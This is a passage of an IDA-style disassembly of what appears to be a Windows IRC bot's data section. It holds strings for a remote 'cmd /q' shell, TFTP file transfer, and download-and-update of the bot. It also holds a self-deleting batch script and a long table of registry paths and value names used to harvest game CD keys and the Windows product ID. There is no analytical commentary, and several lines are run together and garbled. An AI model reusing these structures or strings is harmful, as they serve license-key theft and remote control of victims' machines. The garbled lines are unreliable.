align 10h
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40E08D+51Co
align 10h
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40E08D:loc_40E5B0o
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40E08D+566o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40E08D+58Eo
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_40E08D+61Do
align 10h
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E08D+638o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_40E08D+64Do
align 10h
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40E7F9+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_4415B8 dd 234032Dh, 6E656469h, 3026474haClientConnecti db '- client connection from %s:%d.',0
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_40E91A+113o
dword_4415FC dd 234032Dh, 6E656469h, 3026474haServerFailed_0 db '- server failed, returned %d',0
align 4
unk_441628 db 2Dh ; - ; DATA XREF: sub_40EAC5+E9o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 10h
unk_441670 db 2Dh ; - ; DATA XREF: sub_40EAC5+14Bo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_23 db 'Failed to start client thread, error: <%d>.',0
align 10h
unk_4416B0 db 2Dh ; - ; DATA XREF: sub_40EC55+E1o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 8
unk_4416F8 db 2Dh ; - ; DATA XREF: sub_40EC55+157o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_24 db 'Failed to start connection thread, error: <%d>.',0
unk_441738 db 2Dh ; - ; DATA XREF: sub_40EE3D+F6o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 10h
unk_441780 db 2Dh ; - ; DATA XREF: sub_40EE3D+12Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_4417C8 db 2Dh ; - ; DATA XREF: sub_40EE3D+17Fo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 10h
unk_441800 db 2Dh ; - ; DATA XREF: sub_40F02F+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_441840 db 2Dh ; - ; DATA XREF: sub_40F02F+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_2 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 10h
unk_441880 db 2Dh ; - ; DATA XREF: sub_40F02F+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_40F128+8Co
align 10h
unk_4418B0 db 2Dh ; - ; DATA XREF: sub_40F128+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
unk_4418E8 db 2Dh ; - ; DATA XREF: sub_40F201+8Do
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0
aRb_0 db 'rb',0 ; DATA XREF: sub_40F3B8+130o
align 4
aTftpTransferSt db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_40F3B8+2CDo
align 4
aTftpTransferCo db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_40F3B8+3BEo
align 4
dword_441968 dd 4000500h, 7868746Bh, 0dword_441974 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dhdword_441988 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40F927+60o
align 10h
dword_4419C0 dd 234032Dh, 2676F6Ch, 2D03hdword_4419CC dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_40FA64+20o
dword_4419E0 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_40FA64:loc_40FA99o
dword_4419F4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: sub_40FAD7+3Fo
dd 676E6974h, 0
dword_441A10 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: sub_40FAD7+DCo
dd 6574656Ch, 0
aDisplay db 'DISPLAY',0 ; DATA XREF: sub_40FC06+11o
aWindow db 'Window',0 ; DATA XREF: sub_40FE41+23o
align 4
aWindow_0 db 'Window',0 ; DATA XREF: sub_41003A+26o
align 8
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .data:off_4428FCo
align 10h
aCdkey db 'CDKey',0 ; DATA XREF: .data:00442900o
align 4
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:00442904o
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
aRegnumber db 'RegNumber',0
align 4
aTheGladiators db 'The Gladiators',0
align 4
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 4
aKey_0 db 'Key',0
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 10h
aKey_1 db 'Key',0
aHalfLife db 'Half-Life',0
align 10h
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aPrvkey db 'prvkey',0
align 4
aIndustryGiant2 db 'Industry Giant 2',0
align 10h
aSoftware3d0Sta db 'Software\3d0\Status',0
aCustomernumber db 'CustomerNumber',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 10h
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aCdkey_0 db 'CDKey',0
align 4
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0
align 4
aProductid db 'ProductId',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aSoftwareUnreal db 'Software\Unreal Technology\Installed Apps\UT2003',0
align 4
aCdkey_1 db 'CDKey',0
align 4
aUnrealTourname db 'Unreal Tournament 2003',0
align 4
aSoftwareUnre_0 db 'Software\Unreal Technology\Installed Apps\UT2004',0
align 10h
aCdkey_2 db 'CDKey',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2004',0
align 10h
aSoftwareIgi2Re db 'Software\IGI 2 Retail',0
align 4
aCdkey_3 db 'CDKey',0
align 10h
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
aSoftwareElectr db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aFreedomForce db 'Freedom Force',0
align 4
aSoftwareElec_0 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aBattlefield194 db 'Battlefield 1942',0
align 10h
aSoftwareElec_1 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
db 'me\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
align 10h
aSoftwareElec_2 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
db ' of WWII\ergc',0
align 10h
aBattlefield1_1 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
aSoftwareElec_3 db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 4
aBattlefieldVie db 'Battlefield Vietnam',0
aSoftwareElec_4 db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
align 8
aSoftwareElec_5 db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
db 'ro Hour\ergc',0
align 4
aCommandAndConq db 'Command and Conquer: Generals (Zero Hour)',0
align 8
aSoftwareElec_6 db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
aSoftwareElec_7 db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0
aCommandAndCo_0 db 'Command and Conquer: Generals',0
align 4
aSoftwareElec_8 db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
aGlobalOperatio db 'Global Operations',0
align 8
aSoftwareElec_9 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
db 'rgc',0
align 10h
aMedalOfHonorAl db 'Medal of Honor: Allied Assault',0
align 10h
aSoftwareEle_10 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
db 'reakthrough\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 8
aSoftwareEle_11 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
db 'pearhead\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault: Spearhead',0
align 4
aSoftwareEle_12 db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aErgc db 'ergc',0
align 4
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 10h
aSoftwareEle_13 db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
db 0
align 4
aNeedForSpeedUn db 'Need For Speed: Underground',0
aSoftwareEle_14 db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
; DATA XREF: .data:00442B6Aw
db 'ion\ergc',0
align 4
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 ; DATA XREF: .data:00442B74o
align 10h
aSoftwareEle_15 db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0
; DATA XREF: .data:00442B82w
align 4
aFifa2002 db 'FIFA 2002',0 ; DATA XREF: .data:00442B8Co
align 10h
aSoftwareEle_16 db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 4
aFifa2003 db 'FIFA 2003',0
align 10h
aSoftwareEle_17 db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 4
aNhl2002 db 'NHL 2002',0
align 10h
aSoftwareEle_18 db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 4
aNhl2003 db 'NHL 2003',0
align 10h
aSoftwareEle_19 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 4
aNascarRacing20 db 'Nascar Racing 2002',0
align 10h
aSoftwareEle_20 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 4
aNascarRacing_0 db 'Nascar Racing 2003',0
align 10h
aSoftwareRedSto db 'Software\Red Storm Entertainment\RAVENSHIELD',0
align 10h
aCdkey_4 db 'CDKey',0
align 4
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
aSoftwareWestwo db 'Software\Westwood\Tiberian Sun',0
align 4
aSerial db 'Serial',0
align 4
aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0
align 10h
aSoftwareWest_0 db 'Software\Westwood\Red Alert',0
aSerial_0 db 'Serial',0
align 4
aCommandAndCo_2 db 'Command and Conquer: Red Alert',0
align 4
aSoftwareWest_1 db 'Software\Westwood\Red Alert 2',0
align 4
aSerial_1 db 'Serial',0
align 4
aCommandAndCo_3 db 'Command and Conquer: Red Alert 2',0
align 10h
aSoftwareWest_2 db 'Software\Westwood\NOX',0
align 4
aSerial_2 db 'Serial',0
align 10h
aNox db 'NOX',0
aSoftwareTechla db 'Software\Techland\Chrome',0
align 10h
aSerialnumber db 'SerialNumber',0
align 10h
aChrome db 'Chrome',0
align 4
aSoftwareIllusi db 'Software\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aKey_2 db 'key',0
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aLocation db 'Location',0
align 4
aNeverwinterNig db 'Neverwinter Nights',0
align 10h
aNwncdkey_ini db 'nwncdkey.ini',0
align 10h
aKey1 db 'Key1=',0
align 4
aSoftwareBiow_0 db 'Software\BioWare\NWN\Neverwinter',0
align 4
aLocation_0 db 'Location',0
align 4
aNeverwinterN_0 db 'Neverwinter Nights (Shadows of Undrentide)',0
align 4
aNwncdkey_ini_0 db 'nwncdkey.ini',0
align 4
aKey2 db 'Key2=',0
align 4
aSoftwareBiow_1 db 'Software\BioWare\NWN\Neverwinter',0
align 10h
aLocation_1 db 'Location',0
align 4
aNeverwinterN_1 db 'Neverwinter Nights (Hordes of the Underdark)',0
align 4
aNwncdkey_ini_1 db 'nwncdkey.ini',0
align 4
aKey3 db 'Key3=',0
align 8
dd 80000001h
off_4428FC dd offset aSoftwareValveC ; DATA XREF: sub_410279+Cr
; sub_410279+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_442908 dd 2 dup(0) dd 80000001h, 441A90h, 441AB8h, 441AC4h, 2 dup(0)
dd 80000001h, 441AD4h, 441AF4h, 441AF8h, 2 dup(0)
dd 80000001h, 441B0Ch, 441B30h, 441B34h, 2 dup(0)
dd 80000001h, 441B40h, 441B64h, 441B6Ch, 2 dup(0)
dd 80000001h, 441B80h, 441B94h, 441BA4h, 2 dup(0)
dd 80000001h, 441BC0h, 441C04h, 441C0Ch, 2 dup(0)
dd 80000002h, 441C20h, 441C4Ch, 441C58h, 2 dup(0)
dd 80000002h, 441C78h, 441CACh, 441CB4h, 2 dup(0)
dd 80000002h, 441CCCh, 441D00h, 441D08h, 2 dup(0)
dd 80000002h, 441D20h, 441D38h, 441D40h, 2 dup(0)
dd 80000002h, 441D58h, 4DD3B4h, 441D94h, 2 dup(0)
dd 80000002h, 441DA4h, 4DD3B5h, 441DDCh, 2 dup(0)
dd 80000002h, 441DF0h, 4DD3B6h, 441E3Ch, 2 dup(0)
dd 80000002h, 441E60h, 4DD3B7h, 441EB0h, 2 dup(0)
dd 80000002h, 441EDCh, 4DD3B8h, 441F18h, 2 dup(0)
dd 80000002h, 441F2Ch, 4DD3B9h, 441F64h, 2 dup(0)
dd 80000002h, 441F78h, 4DD3BAh, 441FC8h, 2 dup(0)
dd 80000002h, 441FF8h, 4DD3BBh, 442038h, 2 dup(0)
dd 80000002h, 442054h, 4DD3BCh, 442084h, 2 dup(0)
dd 80000002h, 4420A4h, 4DD3BDh, 4420E0h, 2 dup(0)
dd 80000002h, 4420F8h, 4DD3BEh, 442140h, 2 dup(0)
dd 80000002h, 442160h, 4DD3BFh, 4421B4h, 2 dup(0)
dd 80000002h, 4421E8h, 4DD3C0h, 442238h, 2 dup(0)
dd 80000002h, 442264h, 4422A4h, 4422ACh, 2 dup(0)
dd 80000002h, 4422D0h, 4DD3C1h, 442314h, 2 dup(0)
; ---------------------------------------------------------------------------
add al, [eax]
add byte ptr aSoftwareEle_14[eax], al ; "Software\\Electronic Arts\\EA GAMES\\Shogu"...
retn 4DD3h
; ---------------------------------------------------------------------------
align 4
dd offset aShogunTotalWar ; "Shogun: Total War: Warlord Edition"
align 10h
add al, [eax]
add byte ptr aSoftwareEle_15[eax], al ; "Software\\Electronic Arts\\EA Sports\\FIFA"...
retn
; ---------------------------------------------------------------------------
db 0D3h, 4Dh, 0
dd offset aFifa2002 ; "FIFA 2002"
dd 2 dup(0)
dd 80000002h, 4423E0h, 4DD3C4h, 442414h, 2 dup(0)
dd 80000002h, 442420h, 4DD3C5h, 442454h, 2 dup(0)
dd 80000002h, 442460h, 4DD3C6h, 442494h, 2 dup(0)
dd 80000002h, 4424A0h, 4DD3C7h, 4424DCh, 2 dup(0)
dd 80000002h, 4424F0h, 4DD3C8h, 44252Ch, 2 dup(0)
dd 80000002h, 442540h, 442570h, 442578h, 2 dup(0)
dd 80000002h, 442594h, 4425B4h, 4425BCh, 2 dup(0)
dd 80000002h, 4425E0h, 4425FCh, 442604h, 2 dup(0)
dd 80000002h, 442624h, 442644h, 44264Ch, 2 dup(0)
dd 80000002h, 442670h, 442688h, 442690h, 2 dup(0)
dd 80000002h, 442694h, 4426B0h, 4426C0h, 2 dup(0)
dd 80000002h, 4426C8h, 4426FCh, 442700h, 2 dup(0)
dd 80000002h, 442718h, 442754h, 442760h, 442788h, 442798h
dd 80000002h, 4427ACh, 4427D0h, 4427DCh, 4427F0h, 442800h
dd 80000002h, 442808h, 44282Ch, 442838h, 442864h, 442874h
dd 80000002h, 44287Ch, 4428A0h, 4428ACh, 4428DCh, 4428ECh
dd 6 dup(0)
dword_442D30 dd 255C7325h aSr: ; DATA XREF: sub_410279+8Ao
; sub_410279+E1o ...
unicode 0, <sr==>
dword_442D3C dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_410279+101o
dd 0
dword_442D54 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_410279+11Bo
dd 0
dword_442D6C dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_410279+167o
dd 0
unk_442D84 db 2Dh ; - ; DATA XREF: sub_4104B2+47o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 4
unk_442DA8 db 2Dh ; - ; DATA XREF: sub_4104B2+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
asc_442DD8: ; DATA XREF: sub_4104B2+138o
dw 0Ah
unicode 0, <>,0
unk_442DDC db 2Dh ; - ; DATA XREF: sub_4104B2+170o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 10h
unk_442E10 db 2Dh ; - ; DATA XREF: sub_410673+44o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_3 db '- failed to create socket',0
align 4
unk_442E34 db 2Dh ; - ; DATA XREF: sub_410673+82o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_442E58 db 2Dh ; - ; DATA XREF: sub_410673+FDo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpen_0 db '- failed to open socket',0
align 4
unk_442E7C db 2Dh ; - ; DATA XREF: sub_410673+127o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
dword_442E9C dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_410673+16Ao
dd 169h
dword_442EB4 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: sub_410673+1CBo
dd 74756Fh
unk_442ECC db 2Dh ; - ; DATA XREF: sub_410673+202o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 10h
unk_442EF0 db 2Dh ; - ; DATA XREF: sub_410673+2FAo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
dword_442F1C dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: sub_410673+36Bo
dd 726F72h
dword_442F34 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: sub_410673+37Co
dd 726F72h
dword_442F4C dd 73257325h, 0 unk_442F54 db 2Dh ; - ; DATA XREF: sub_410A18+83o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
aAB db 'a+b',0 ; DATA XREF: sub_410A18+97o
unk_442F88 db 2Dh ; - ; DATA XREF: sub_410A18+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
unk_442FB4 db 2Dh ; - ; DATA XREF: sub_410A18+CBo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
dword_442FD4 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: sub_410A18+156o
dd 726F72h
unk_442FEC db 2Dh ; - ; DATA XREF: sub_410A18+1CFo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_443018 db 2Dh ; - ; DATA XREF: sub_410C53+77o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 10h
unk_443040 db 2Dh ; - ; DATA XREF: sub_410C53+191o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 4
unk_443068 db 2Dh ; - ; DATA XREF: sub_410C53:loc_410DEBo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 10h
unk_443090 db 2Dh ; - ; DATA XREF: sub_410C53+1CDo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
unk_4430BC db 2Dh ; - ; DATA XREF: sub_410C53+257o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_4430E4 db 2Dh ; - ; DATA XREF: sub_410C53+2D6o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
aOpen_2 db 'open',0 ; DATA XREF: sub_410C53+32Bo
align 4
dword_443124 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: sub_410C53+34Do
dd 25206465h, 73h
unk_443140 db 2Dh ; - ; DATA XREF: sub_410C53+3B6o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 4
unk_443184 db 2Dh ; - ; DATA XREF: sub_410C53+472o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
unk_4431B8 db 2Dh ; - ; DATA XREF: sub_410C53+480o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
a?: ; DATA XREF: sub_4111E7+1Fo
unicode 0, <?>,0
off_4431E8 dd offset word_4D4152 ; DATA XREF: sub_4111E7:loc_41120Co
aCdrom db 'Cdrom',0 ; DATA XREF: sub_4111E7:loc_411212o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_4111E7:loc_411218o
aDisk db 'Disk',0 ; DATA XREF: sub_4111E7:loc_41121Eo
align 4
aInvalid db 'Invalid',0 ; DATA XREF: sub_4111E7:loc_411224o
aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_4111E7:loc_41122Ao
aSkb db '%sKB',0 ; DATA XREF: sub_411278+70o
align 4
aSkb_0 db '%sKB',0 ; DATA XREF: sub_411278+9Bo
align 4
aSkb_1 db '%sKB',0 ; DATA XREF: sub_411278+C6o
align 4
aFailed db 'failed',0 ; DATA XREF: sub_411278+E0o
align 4
aFailed_0 db 'failed',0 ; DATA XREF: sub_411278+F1o
align 4
aFailed_1 db 'failed',0 ; DATA XREF: sub_411278+102o
align 4
aFailed_2 db 'failed',0 ; DATA XREF: sub_41139C+3Bo
align 4
unk_44324C db 2Dh ; - ; DATA XREF: sub_41139C+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
unk_443288 db 2Dh ; - ; DATA XREF: sub_41139C+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
aA_2 db 'A:\',0 ; DATA XREF: sub_41146E:loc_4114B3o
unk_4432C8 db 2Dh ; - ; DATA XREF: sub_4114F1+5Co
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 10h
dword_4432F0 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
; DATA XREF: sub_4114F1+C5o
dd 64252064h, 6C696620h, 7365h
dword_443310 dd 2A5C7325h, 0 dword_443318 dd 255C7325h, 73hdword_443320 dd 255C7325h, 73hdword_443328 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
; DATA XREF: sub_411609+107o
dd 73252064h, 73255Ch, 0
dword_443348 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_443394 dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------
loc_4433B0: ; DATA XREF: sub_41178F+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_4433C4 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_41178F+13Fo
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_411B50+72o
align 4
aMirc_2 db 'mIRC',0 ; DATA XREF: sub_411C15+5o
align 4
aMirc_3 db 'mIRC',0 ; DATA XREF: sub_411C15+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_411C9A+1Co
align 4
aSS_5 db '%s %s',0 ; DATA XREF: .data:00411D80o
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_411DBC+2o
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_411DDE+48o
align 8
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_411DDE+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_411DDE+140o
